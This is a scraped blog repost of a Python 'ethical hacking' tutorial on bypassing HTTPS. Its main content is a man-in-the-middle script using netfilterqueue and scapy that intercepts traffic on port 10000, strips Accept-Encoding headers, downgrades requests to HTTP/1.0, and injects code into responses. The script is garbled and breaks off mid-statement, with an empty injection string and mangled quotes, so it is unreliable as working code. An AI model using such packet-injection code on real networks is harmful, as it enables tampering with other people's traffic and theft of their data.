Python Ethical Hacking - Bypass HTTPS(2)
2020-12-13 15:29
标签:payload set ack from eth env usr ica group Injecting Code in HTTPS Pages:#!/usr/bin/env python
import re
from netfilterqueue import NetfilterQueue
from scapy.layers.inet import TCP, IP
from scapy.packet import Raw
def set_load(packet, load):
packet[Raw].load = load
del packet[IP].len
del packet[IP].chksum
del packet[TCP].chksum
return packet
def process_packet(packet):
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP):
load = scapy_packet[Raw].load
if scapy_packet[TCP].dport == 10000:
print("[+] Request")
print(scapy_packet.show())
load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load)
load = load.replace("HTTP/1.1", "HTTP/1.0")
elif scapy_packet[TCP].sport == 10000:
print("[+] Response")
injection_code = b‘‘
load = load.replace(b"
下一篇:ElGamal算法的数字签名
文章标题:Python Ethical Hacking - Bypass HTTPS(2)
文章链接:http://soscw.com/essay/35151.html